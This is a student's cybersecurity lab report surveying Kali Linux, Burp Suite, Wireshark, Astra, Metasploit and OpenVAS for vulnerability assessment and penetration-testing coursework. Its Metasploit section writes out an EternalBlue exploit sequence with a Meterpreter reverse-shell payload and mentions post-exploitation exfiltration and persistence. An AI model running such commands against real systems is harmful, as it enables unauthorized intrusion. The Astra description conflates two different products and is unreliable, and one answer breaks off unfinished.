## Experiment No. 1

# Title: Comprehending security tools

**Batch: A3** **Roll No.: 16010421119** **Experiment No.:1**

**Aim:** Comprehending security tools

**Resources needed:** Kali Linux Documentation, Kali Linux Forums, Burp Suite Documentation, Wireshark User Guide, Wireshark Sample Captures

**Pre Lab/ Prior Concepts:**
Students should have prior knowledge of Networking Basics, Linux Fundamentals, Web Technologies, Network Packet Analysis, Linux Command-Line Skills, Web Application Basics, Understanding of HTTP and HTTPS, Virtualization, Basic Security Concepts.

**Theory:**
Security tools serve different purposes but are often used together in security assessments to ensure a thorough examination of both web application and network security. In the dynamic landscape of cybersecurity, comprehending and mastering security tools is paramount for professionals engaged in ethical hacking, penetration testing, and network analysis. Three key tools—Kali Linux, Burp Suite, and Wireshark—stand out as indispensable assets in the cybersecurity arsenal.

**1. Kali Linux: The Swiss Army Knife of Security**

Kali Linux provides a comprehensive environment for ethical hackers and security professionals to test and assess the security of systems. Kali Linux, a Debian-based distribution, is purpose-built for penetration testing and security auditing. It encompasses a vast array of pre-installed tools, categorized for diverse tasks, ranging from network reconnaissance to exploitation. Its strength lies not only in its comprehensive suite of tools but also in its community-driven ethos, ensuring constant updates and adaptability to emerging threats. Professionals delve into Kali Linux to explore vulnerabilities, assess network defenses, and simulate real-world attacks in a controlled environment.

**Purpose:**

Kali Linux, a specialized Linux distribution, is meticulously crafted for the primary purpose of facilitating penetration testing, ethical hacking, and security auditing. Originally derived from Debian, Kali Linux has evolved into a comprehensive platform that provides security professionals, ethical hackers, and enthusiasts with a robust and versatile toolkit for identifying vulnerabilities, conducting security assessments, and fortifying systems against potential threats.

**Features of Kali Linux**

1. Vast Toolset
2. Open Source
3. Community-Driven Development
4. Targeted for Penetration Testing
5. Versatility in Deployment
6. Live Boot Capability
7. User-Friendly Interface
8. Security and Privacy Tools
9. Extensive Documentation

**2. Burp Suite: The Web Application Security Champion**

Burp Suite helps in identifying and fixing vulnerabilities in web applications by intercepting and manipulating HTTP/S traffic. Burp Suite emerges as a cornerstone in web application security testing. Its capabilities extend from mapping application architecture to identifying vulnerabilities, enabling ethical hackers to assess the security posture of web applications. The suite includes tools for scanning, crawling, and manipulating web requests, providing a robust platform for understanding, exploiting, and fortifying web-based systems. Its extensibility through custom plugins further enhances its adaptability to various testing scenarios.

**Purpose of Burp Suite:**

Burp Suite is a leading cybersecurity tool designed for web application security testing. Its primary purpose is to assist security professionals, ethical hackers, and penetration testers in identifying and addressing vulnerabilities within web applications. Burp Suite provides a comprehensive platform for manual and automated testing of web applications' security, helping organizations enhance their overall security posture.

**Features of Burp Suite:**

1. Intercept and Modify Requests
2. Automated Crawling and Discovery
3. Automated Vulnerability Scanner
4. Automated Attack Patterns
5. Manual Request Modification and Resubmission
6. Session Token and Cryptographic Analysis
7. Encoding and Decoding of Data
8. Comparison of Responses
9. Customization through Extension
10. Automated Analysis of Web Application
11. Detection of Out-of-Band Vulnerabilities

### 3. Wireshark: Unveiling the Secrets of Network Traffic

Wireshark, on the other hand, captures and analyzes network packets, enabling users to examine the flow of data and troubleshoot network issues. Wireshark, a powerful network protocol analyzer, provides a lens into network communication's intricacies. From capturing and analyzing packets to deciphering protocols and detecting anomalies, Wireshark is an invaluable tool for understanding network behavior. Security professionals leverage Wireshark to identify potential security threats, troubleshoot network issues, and gain insights into the flow of data. Its graphical interface and extensive filtering capabilities make it accessible to both novices and seasoned analysts.

**Purpose of Wireshark**:

Wireshark is a powerful open-source network protocol analyzer designed for network troubleshooting, analysis, software and communication protocol development, and education. Its primary purpose is to capture and examine the data traveling back and forth on a network, providing deep insights into network activity, performance, and potential security issues. Wireshark allows users to analyze and interpret packet-level data to diagnose network problems, understand network behavior, and ensure the efficient operation of networked systems.

**Features of Wireshark**

1. Real-Time Traffic Analysis
2. Examine Captured Files
3. Customize Views with Filters
4. Wide Range of Supported Protocols
5. Inspect Packet Contents
6. Visual Identification of Packets
7. Analyze Network Statistics
8. Reassemble TCP Streams
9. Voice over IP (VoIP) Analysis
10. Investigate Security Incidents

---

**Procedure:**

Kali Linix : Exploring Kali Linux involves getting familiar with its interface, understanding basic commands, and exploring the pre-installed tools.

**Stepwise Procedure to Explore Kali Linux:**

1. **Boot into Kali Linux**: Start by booting system into Kali Linux Familiarize with the Desktop Environment: Kali Linux typically uses the GNOME desktop environment
2. **Open Terminal and Learn Basic Commands**: Open the terminal, either by clicking on the terminal icon. Some essential commands include ls (list files), cd (change directory), pwd (print working directory), and sudo (execute commands with superuser privileges).
3. **Explore System Information:** Use commands like uname -a to display system information, df -h to show disk space usage, and free -m to view available memory.

4. **Check Network Configuration**: Use the ifconfig command to display network interface configurations. Explore the ping command to test network connectivity.
5. **Navigate through File System**: Use the cd command to navigate through the file system. Explore directories and files using ls and cd commands. Understand the concept of the root directory (/), home directory (~), and other essential directories.
6. **Explore Pre-Installed Tools**: Kali Linux comes with a plethora of pre-installed security tools. Explore the tools categorized in the Kali menu.

**Burp Suite:** Exploring Burp Suite involves familiarizing with its interface, understanding key features, and learning how to perform basic tasks related to web application security testing.
Stepwise Procedure to Explore Burp Suite:

1. **Download and Install Burp Suite**: Start by downloading Burp Suite from the official website (PortSwigger). Follow the installation instructions provided for operating system.
2. **Launch Burp Suite**: Once installed, launch Burp Suite. The interface consists of various tabs, including Proxy, Target, Intruder, Repeater, and more.
3. **Configure Browser to Use Burp Proxy**: To intercept and analyze HTTP/S traffic, configure web browser to use the Burp Proxy. Set the browser's proxy settings to match Burp Suite's proxy settings. The default proxy listener in Burp Suite is on 127.0.0.1 (localhost) and port 8080.
4. **Explore the Proxy Tab**: Go to the "Proxy" tab in Burp Suite. Observe the intercepted requests and responses in real-time. Get familiarize with the various options, such as turning interception on/off, forwarding requests, and responding to intercepted requests.
5. **Use the Target Tab**: Navigate to the "Target" tab. This tab provides information about the target web application, including site map, discovered content, and scope. Learn how to add a target, configure scope, and view the site map to understand the structure of the web application.
6. **Perform Basic Intruder and Repeater Tasks**: Explore the "Intruder" and "Repeater" tabs. In the "Intruder" tab to automate attacks such as brute force or fuzzing. In the "Repeater" tab, manually modify and re-send individual requests to observe their impact on the application.
7. **Review Other Essential Tabs**: Spend time exploring other essential tabs such as "Scanner," "Sequencer," and "Decoder." The "Scanner" tab allows automated scanning for common vulnerabilities, "Sequencer" analyzes the randomness of tokens, and "Decoder" assists in encoding and decoding data.

**Wireshark:** Exploring Wireshark involves capturing and analyzing network traffic to gain insights into communication protocols, troubleshoot network issues, and identify potential security threats.
Stepwise Procedure to Explore Wireshark:

1. **Download and Install Wireshark**: Start by downloading Wireshark from the official website (Wireshark Download). Follow the installation instructions provided for operating system.
2. **Launch Wireshark**: Once installed, launch Wireshark. The main interface will display a list of available network interfaces for capturing traffic. Select the appropriate interface for network connection.
3. **Start Capturing Packets**: Click on the selected interface to start capturing packets to see a live stream of captured packets displayed in real-time. Observe the various columns containing information such as source and destination addresses, protocols, and packet lengths.
4. **Filter Packets**: Utilize Wireshark's powerful filtering capabilities to focus on specific packets. Use display filters (e.g., ip.addr == 192.168.1.1) to narrow down the displayed packets based on criteria such as source/destination addresses, protocols, or specific keywords.
5. **Analyze Packet Details**: Select a packet from the captured list to view detailed information about its contents. Wireshark provides a hierarchical view of packet data, including protocol layers. Explore the dissected details to understand the structure of different protocols within the

packet.

6. **Follow TCP Streams**: Use the "Follow TCP Stream" feature to reconstruct and display the entire conversation between two endpoints for a specific TCP stream. This is particularly useful for understanding the content and context of communication.
7. **Apply Colorization and Marking**: Wireshark uses colorization to highlight different types of packets, making it easier to identify and analyze specific types of network traffic. Take note of the color-coded packets to distinguish between various protocols and activities.

**Output (Code with result Snapshot)**

## 1. Astra Security

### Features

- **Platform:** Online
- **Scanner Capacity:** Unlimited continuous scans
- **Manual pentest:** Available for web app, mobile app, APIs, and cloud infrastructures
- **Accuracy:** Zero false positives
- **Vulnerability management:** Comes with dynamic vulnerability management dashboard
- **Compliance:** Helps you stay compliant with PCI-DSS, HIPAA, ISO27001, and SOC2
- **Price:** Starting at $199/month or $ 1,999/ year

Astra's Pentest is a VAPT tool based on Astra's extensive experience in the application security field. It is a great tool for any application to help you keep your data secure to focus on your users and your business.

Astra's VAPT scan analyzes the entire application and its underlying infrastructure, including all network devices, management systems, and other components. It's a deep analysis that helps you find security weaknesses, so you can fix them before a hacker does.

**Astra Vulnerability Scanner**

The pentest software can also run 8000+ tests covering OWASP top 10 and SANS 25 vulnerabilities. The scan results are vetted by experts to ensure zero false positives.

**Regular Pentests**

The in-depth hacker-style penetration testing by experts reveals business logic errors and other critical vulnerabilities like payment gateway hacks.

Astra Pentest Platform can be used for web app pentest, mobile app pentest, API pentest, and cloud-configuration reviews.

**Pentest Reports**

The pentest reports by Astra feature video PoCs and step-by-step remediation guidelines to help you take immediate action. The best part is, that your developers can engage in contextual collaboration with Astra's security engineers to resolve difficult issues.

**Pentest Certificate**

Once the vulnerabilities detected by Astra Pentest are remediated and the same is confirmed by Astra's security experts, you get a publicly verifiable pentest certificate that stays valid for 6 months or your next major code update, whichever is earlier.

Over the past year, Astra has added names like ICICI, UN, and Dream 11, to their already impressive roster of clients which included Ford, Gillette, and GoDaddy, among others.

**Procedure**

1. **Installation:**

   You can typically install Astra from its GitHub repository or other specified sources. Ensure you have all prerequisites like Python and other necessary libraries installed.
   Clone the Astra repository or download it to your machine.
2. **Dependencies:**

Install any required dependencies or libraries as mentioned in the documentation.

3. **Configuration:**

   Navigate to the Astra directory and check any configuration files or settings you need to adjust. Typically, you might need to specify the target URL, parameters to test, and other settings.
4. **Basic Scan:**

   Run a basic scan using Astra by providing the target URL. The tool will start scanning for common vulnerabilities like SQL injection, XSS, CSRF, etc.
   Example: python astra.py --url http://targetwebsite.com
5. **Advanced Options:**

   Astra may have various flags and options that allow you to customize your scan. Check the documentation or use the help command to explore these options.
   Examples of advanced options might include specifying different types of payloads, setting specific headers, controlling the depth of the scan, etc.
6. **Review Results:**

   After the scan completes, review the generated report or output to identify any vulnerabilities detected by Astra.
   Astra typically provides detailed information about vulnerabilities, including the affected parameters, severity, and potential impact.
7. **Remediation:**

   Once vulnerabilities are identified, prioritize and remediate them based on the severity and impact.
   Implement necessary fixes, patches, or configurations to address the identified security issues.
8. **Regular Scanning:**

   Schedule regular scans using Astra to ensure ongoing security monitoring and identify any new vulnerabilities introduced over time.
   Adjust scan parameters, targets, or configurations as needed based on your application's changes and evolving threat landscape.

**Usage Examples:** https://youtu.be/TUHjZukNam4?si=42MZeLjgdCEA9JUw

**Pros**

- Connects with your CI/CD pipeline
- Offers continuous scanning with regularly updated scanner rules
- Ensures zero false positives
- Helps with rapid prioritization and remediation of vulnerabilities

**Cons**

- Could have had more integration options

## 2. Burp Suite

**Features:**

- **Platform:** Windows, macOS
- **Scanner Capacity:** Web applications
- **Manual pentest:** Yes
- **Accuracy:** False positives possible
- **Vulnerability management:** No
- **Compliance:** PCI-DSS, OWASP Top 10, HIPAA, GDPR

- **Price:** $449/per user/per year

Burp Suite is an integrated platform for performing security testing of web applications. The software comprises multiple tools which are used to test applications for security vulnerabilities.
The vulnerability assessment and penetration testing software include an intercepting proxy, spider, repeater, sequencer, decoder, scanner, and comparer. Burp Suite bundles these tools together in a single package that offers a complete web security testing solution.
Numerous extensibility points allow you to tailor Burp to specific needs. Over 1000 plugins that enable you to find and exploit specific vulnerabilities.

**Procedure**

**1. Installation and Setup:**

Download Burp Suite from the official website: PortSwigger
Install Burp Suite on your machine.
Launch Burp Suite and configure your proxy settings. By default, Burp Suite listens on port 8080.

**2. Configure Web Browser:**

Set up your web browser to use Burp Suite as a proxy.
Go to your browser settings.
Modify the proxy settings to point to 127.0.0.1 on port 8080 (or whichever port you've configured).

**3. Intercept Traffic:**

Start a new project or open an existing one in Burp Suite.
Navigate to the 'Proxy' tab and ensure the 'Intercept is on' (it should be red).
In your web browser, visit the target website. Burp Suite will capture the requests and display them in the 'Proxy' > 'Intercept' tab.
You can forward, drop, or modify requests before they reach the server using the intercept functionality.

**4. Spidering:**

Navigate to the 'Target' tab and enter the base URL of the application you want to test.
Right-click on the target and choose 'Spider this host.' This will crawl the target application, discovering new content and functionality.

**5. Active Scan:**

After spidering or manually navigating the application, you can perform an active scan to identify vulnerabilities.
Right-click on the target or specific requests and choose 'Scan.' Burp Suite will start scanning for various vulnerabilities like SQL injection, XSS, CSRF, etc.
Review the scan results under the 'Issues' tab. Burp Suite will provide detailed information about identified vulnerabilities, including severity, affected parameters, and recommended remediation steps.

**6. Intruder:**

Use the 'Intruder' tool for various types of attacks like brute-force, fuzzing, etc.
Select a request from the 'Proxy' history or input a custom request.
Define positions for payloads (e.g., parameters to test) and load payloads from lists or set custom values.
Start the attack and analyze responses, status codes, and lengths to identify potential vulnerabilities or weaknesses.

**7. Repeater:**

The 'Repeater' tool allows you to modify and resend requests to the server.
Select a request from the 'Proxy' history or manually input a request.
Modify parameters, headers, or other components as needed.
Send the request and analyze responses, status codes, and content to test specific functionality or behaviors.

**8. Sequencer:**

The 'Sequencer' tool analyzes the randomness of tokens or session identifiers.
Capture tokens or identifiers from responses using the 'Proxy' history or other tools.
Start the sequencer and input captured tokens to analyze randomness and potential predictability or vulnerabilities.

**9. Dashboard and Reporting:**

Utilize the dashboard to monitor ongoing activities, vulnerabilities, and overall security posture.

Generate reports with detailed findings, recommendations, evidence, and remediation steps to share with stakeholders or development teams.

**10. Continuous Testing and Integration:**

Integrate Burp Suite into your continuous testing and integration pipelines to automate scanning, monitoring, and reporting.

Schedule regular scans, monitor for new vulnerabilities or changes, and ensure ongoing security testing as applications evolve.

**Usage Examples:** https://youtu.be/1O-xOTp96d8?si=EpWqkjia-D8020P6

**Pros**

- Has both open-source and commercial editions.
- User-friendly interface.
- Best internal penetration testing tools.

**Cons**

- Requires better integrations.
- The commercial product is pricey.
- The free version has lesser features.

## 3. Wireshark

**Features**

- **Platform:** Unix, Windows. Needs libraries like Qt, GLib, & libpcap to run
- **Scanner Capacity:** Captures live packet data from a network interface
- **Manual pentest:** Useful tool for pentesting
- **Accuracy:** Fairly accurate
- **Vulnerability management:** No
- **Compliance:** Indirectly relates to compliance reporting
- **Price:** Free

Wireshark is a network traffic analyzer, monitoring software that allows you to see what traffic flows through your system network. It is open-source and is the most popular network analyzer in the world. Network administrators and professionals mainly use it to troubleshoot network and system performance issues and monitor and filter different network protocols.

WireShark is one of the best network VAPT tools allows you to capture and analyze network traffic, inspect protocols and troubleshoot network performance issues. Other features provided include decryption of protocols, capturing of live data from ethernet, LAN, USB and more. It can also export output to XML, PostScript, CSV, or plain text.

**Procedure**

**1. Installation and Setup:**

Download Wireshark from the official website: Wireshark.

Install Wireshark on your machine.

Launch Wireshark and select the network interface you want to capture traffic from (e.g., Ethernet, Wi-Fi).

**2. Capture Traffic:**

Start capturing network traffic by clicking on the appropriate interface in Wireshark.

You can apply filters to capture specific traffic based on protocols, IP addresses, ports, or other criteria. For example:

**ip.addr == 192.168.1.1 (Capture traffic to or from a specific IP address)**

**tcp.port == 80 (Capture HTTP traffic on port 80)**

**3. Analyze Protocols and Traffic:**
Browse through captured packets to analyze protocols, communications, and data exchanges between hosts.
Identify anomalies, suspicious activities, or unexpected behaviors that might indicate security vulnerabilities, malicious activities, or misconfigurations.

**4. Follow TCP/UDP Streams:**
Follow TCP or UDP streams to reconstruct conversations or data exchanges between hosts.
Analyze data payloads, requests, responses, or command exchanges that might reveal sensitive information, credentials, vulnerabilities, or potential attack vectors.

**5. Identify Suspicious Patterns:**
Look for patterns like repeated failed login attempts, unusual traffic patterns, unexpected protocol usage, or unauthorized data transfers.
Investigate anomalies, inconsistencies, or deviations from normal network behavior that might indicate security issues, intrusion attempts, or exploitation activities.

**6. Decryption and Analysis:**
If capturing encrypted traffic (e.g., HTTPS, SSL/TLS), configure Wireshark to decrypt traffic using appropriate keys, certificates, or configurations.
Analyze decrypted traffic, payloads, or data exchanges to identify vulnerabilities, sensitive information, or security issues.

**7. Use Display Filters:**
Utilize Wireshark's display filters to focus on specific packets, protocols, hosts, or conversations relevant to your VAPT objectives.
Filter traffic based on criteria like source/destination IP, port numbers, protocol types, packet contents, or other attributes to narrow down analysis and investigation.

**8. Export and Reporting:**
Export relevant packets, conversations, or findings from Wireshark for further analysis, reporting, or documentation.
Generate reports detailing identified vulnerabilities, security issues, recommendations, evidence, and remediation steps to share with stakeholders, teams, or clients.

**9. Continuous Monitoring:**
Continuously monitor network traffic, activities, or communications to detect ongoing threats, suspicious behaviors, or emerging vulnerabilities.
Set up alerts, notifications, or automated responses based on specific criteria, patterns, or signatures indicative of security incidents or exploitation attempts.

**Usage Video Examples:**

- https://youtu.be/QgcXtdyLer0?si=FSkHfL42WmiUADA6
- https://youtu.be/a-Fg7VVDf14?si=xE-wLsovLGxtfY2R

**Pros**

- Capture live data packet from network interfaces and analyzes it in real-time
- Available for free
- Supports both protocols, TCP and UDP
- Detailed packet information
- Extensive community support

**Cons**

- It does not run from outside a network
- Cannot perform packet injection

## 4. Metasploit

**Features**

- Platform: Unix (including Linux and MacOS), Windows

- Scanner Capacity: N/A
- Manual pentest: Metasploit contains an assortment of tools that can be used for pentesting
- Accuracy: N/A
- Vulnerability management: No
- Compliance: Indirectly relates to compliance reporting
- Price: Free

The Metasploit Project is a computer security project that provides information about security vulnerabilities and aids in penetration testing and IDS signature development. It is open-source, free, and available to the public.
HD Moore created the Metasploit Project to provide the security community with a public resource for information on security vulnerabilities. The project provides information about security vulnerabilities used by penetration testers during security audits and network administrators to ensure the correct configuration of the network's devices.
Supports all major protocols such as DNS, FTP, HTTP, ICMP, IMAP, IRC, TCP, UDP. Supports a variety of encodings, including Unicode, ASCII, binary, hex, and several others.

**Procedure:**

**1. Installation and Setup:**

Install Metasploit Framework on your machine. You can download it from the official website or use the community or commercial editions provided by Rapid7.
Launch the Metasploit console by executing the msfconsole command in your terminal or command prompt.

**2. Update Metasploit Database:**

Update the Metasploit database to ensure you have the latest exploits, modules, and vulnerabilities.

```
msf6 > db_status
msf6 > db_rebuild_cache
```

**3. Search for Modules:**

Search for available modules using the search command. You can search based on platforms, vulnerabilities, exploits, payloads, or other criteria.

```
msf6 > search platform:windows type:exploit
```

**4. Select Target and Exploit:**

Identify your target system, application, or service you want to test.
Select an appropriate exploit module from the Metasploit database based on the target's vulnerabilities, versions, configurations, or other attributes.

```
msf6 > use exploit/windows/smb/ms17_010_eternalblue
```

**5. Set Payload:**

Choose a payload that aligns with your objectives, target system, or desired outcomes.
Configure the payload settings, options, or parameters as needed.

```
msf6 > set payload windows/x64/meterpreter/reverse_tcp
```

**6. Configure Exploit Options:**

Set required options, parameters, or variables for the selected exploit module, payload, target system, or environment.
Provide necessary information like target IP address, port numbers, credentials, or other details to initiate the exploitation process.

```
msf6 > set RHOSTS 192.168.1.10
msf6 > set LHOST 192.168.1.20
```

**7. Exploit Target System:**

Execute the exploit command to launch the attack against the target system.
Monitor the exploitation process, interactions, sessions, or activities as the exploit attempts to compromise the target.

```
msf6 > exploit
```

**8. Post-Exploitation Activities:**

Once the target system is compromised, establish a Meterpreter session or access the compromised system's functionalities, resources, or data.
Perform post-exploitation activities like privilege escalation, lateral movement, data exfiltration, persistence, or

other malicious actions based on your objectives or testing scenarios.

**9. Cleanup and Reporting:**

Ensure you have proper cleanup procedures, remediation steps, or rollback actions to restore target systems, environments, or configurations after testing or exploitation activities.

**10. Continuous Learning and Collaboration:**

Stay updated with the latest vulnerabilities, exploits, techniques, tools, and best practices in the cybersecurity landscape.

Engage with the Metasploit community, forums, resources, or training materials to enhance your skills, knowledge, and capabilities in penetration testing, vulnerability assessment, and ethical hacking domains.

Usage Examples:

- https://youtu.be/K7y_-JtpZ7I?si=gicUnA4dnqIISoZj
- https://youtu.be/FwjK6IgBclY?si=D6lx9UNZ4yQtVbIi

**Pros**

- Free to use and Open Source
- User-friendly GUI environment
- It is a powerful framework.
- An assortment of penetration testing capabilities.

**Cons**

- Has a steep learning curve
- Used by hackers

## 5. OpenVAS

OpenVAS, short for Open Vulnerability Assessment System, is a free and open-source vulnerability scanner developed by Greenbone Networks. It's a powerful tool used by security professionals and ethical hackers to identify and assess vulnerabilities in networks, operating systems, and applications.

**Use Cases:**

Vulnerability scanning: OpenVAS scans systems for known vulnerabilities using a large library of Nessus-format vulnerability definitions (NVTs). This helps organizations identify potential security weaknesses and prioritize patching efforts.

Compliance scanning: OpenVAS can be used to scan systems for compliance with security standards and regulations, such as PCI-DSS and HIPAA.

Penetration testing: OpenVAS can be integrated with other penetration testing tools to aid in simulating real-world attacks and evaluating the effectiveness of security controls.

Security awareness: OpenVAS reports can be used to educate users about the risks associated with vulnerabilities and the importance of patching them promptly.

**Pros:**

- **Open-source and free:** OpenVAS is readily available and accessible to anyone, making it a cost-effective solution for vulnerability assessment.
- **Comprehensive vulnerability coverage:** OpenVAS leverages a vast library of NVTs, ensuring it can detect a wide range of vulnerabilities across various systems.
- **Customization and flexibility:** OpenVAS offers extensive customization options, allowing users to tailor scans to their specific needs and environments.
- **Scalability:** OpenVAS can be used to scan individual systems or large networks, making it suitable for organizations of all sizes.
- **Active community:** OpenVAS has a large and active community of users and developers who contribute to its ongoing development and provide support.

**Cons:**

- **Complexity:** OpenVAS can be complex to set up and configure, especially for users with limited technical experience.
- **False positives:** OpenVAS scans can generate false positives, requiring manual verification and analysis of identified vulnerabilities.

Overall, OpenVAS is a powerful and versatile vulnerability scanner that offers significant value for organizations looking to improve their security posture.
Usage Examples: https://youtu.be/OMB-ve3d3C4?si=0096aIvCMZvYVgMv
**OpenVAS official website: https://www.openvas.org/**
**OpenVAS documentation: https://docs.greenbone.net/**
**OpenVAS community forum: https://forum.greenbone.net/**

## Post Lab Questions: -

1. Describe a specific scenario to utilize Kali Linux tools for a penetration testing engagement. Identify at least two tools from Kali's arsenal and explain their roles in addressing security vulnerabilities. How to approach a simulated network assessment using these tools?

**Scenario:**
XYZ Corp hires cybersecurity professionals for a penetration test on their network. The network has servers, workstations, and network devices.

**Tools:**

**Nmap:** Scans the network to identify hosts, open ports, and services.
**Metasploit Framework**: Launches targeted attacks against vulnerable systems.
Approach:

**Reconnaissance:** Use Nmap to gather network information.

**Vulnerability Assessment:** Identify vulnerabilities using Nmap's NSE or OpenVAS.
**Exploitation:** Exploit vulnerabilities with Metasploit.
**Post-Exploitation:** Analyze compromised systems for impact.
**Reporting:** Document findings and recommend remediation steps.

2. In a web application security testing scenario, outline the steps to be taken using Burp Suite's Proxy and Scanner modules. How does intercepting and modifying requests contribute to the assessment, and what types of vulnerabilities can the automated scanner detect? Provide a step-by-step walkthrough.

    1. **Setup Burp Suite Proxy:** Enable intercept to capture and modify HTTP requests.
    2. **Navigate to Web Application:** Access the application through your browser.
    3. **Intercept and Modify Requests:** Review and modify requests to identify potential vulnerabilities.
    4. **Manual Testing:** Conduct manual testing for vulnerabilities like SQL injection, XSS, etc.
    5. **Use Burp Scanner:** Configure and run automated scans to detect common vulnerabilities.
    6. **Review Scanner Findings:** Analyze the scan results for identified vulnerabilities.
    7. **Generate Reports:** Create a report summarizing findings for stakeholders and developers.

3. Explain how Wireshark could be instrumental in identifying the root cause of the network connectivity issue. Provide specific examples of network anomalies or errors that Wireshark can help uncover and the corresponding steps to be taken form mitigation.

Wireshark is a powerful network protocol analyzer that allows users to capture and inspect data packets traveling across a network. Here's how it can assist in identifying the root cause of network connectivity issues:

**DNS Resolution Issues:**

Wireshark can capture DNS traffic, allowing analysis of DNS queries and responses.
It helps identify if DNS requests are reaching the server and if the responses are accurate.
Mitigation involves checking DNS server configurations, ensuring proper DNS resolution, and considering redundant DNS servers.
**TCP Connection Failures:**

Wireshark allows analysis of TCP handshake packets (SYN, SYN-ACK, ACK) to pinpoint connection establishment failures.
It helps in identifying if packets are being dropped, delayed, or rejected during the TCP handshake.
Mitigation may include checking firewall rules, verifying server configurations, and investigating network congestion.

**ARP Cache Poisoning:**

Wireshark can detect abnormal ARP traffic, such as frequent ARP requests or spoofed ARP replies.
It helps in identifying ARP cache poisoning attacks, where incorrect MAC-address-to-IP mappings are provided.
Mitigation strategies involve implementing ARP spoofing detection mechanisms and regularly monitoring ARP tables for inconsistencies.
Network Broadcast Storms:

Wireshark allows the analysis of packet captures to identify excessive broadcast traffic.
It helps in pinpointing devices or protocols generating high volumes of broadcast packets.
Mitigation includes implementing VLAN segmentation, configuring switches to limit broadcast traffic, and identifying and addressing misconfigured devices.
Malware or Intrusion Attempts:

## Outcomes:

**CO 1: Realize that premise of vulnerability analysis and penetration testing (VAPT)**

## Conclusion: (Conclusion to be based on the objectives and outcomes achieved)

Comprehending security tools is vital for defending against cyber threats. By exploring tools like Kali Linux, Burp Suite, and Wireshark, we've gained insights into identifying vulnerabilities and mitigating risks.

**Signature of faculty in charge with date**

## References:

1. https://www.simplilearn.com/top-cyber-security-tools-article
2. https://www.everand.com/book/628472835/Penetration-Testing-of-Computer-Networks-Using-BurpSuite-and-Various-Penetration-Testing-Tools
3. https://www.dummies.com/article/technology/cybersecurity/penetration-testing-with-burp-suite-and-wireshark-to-uncover-vulnerabilities-270960/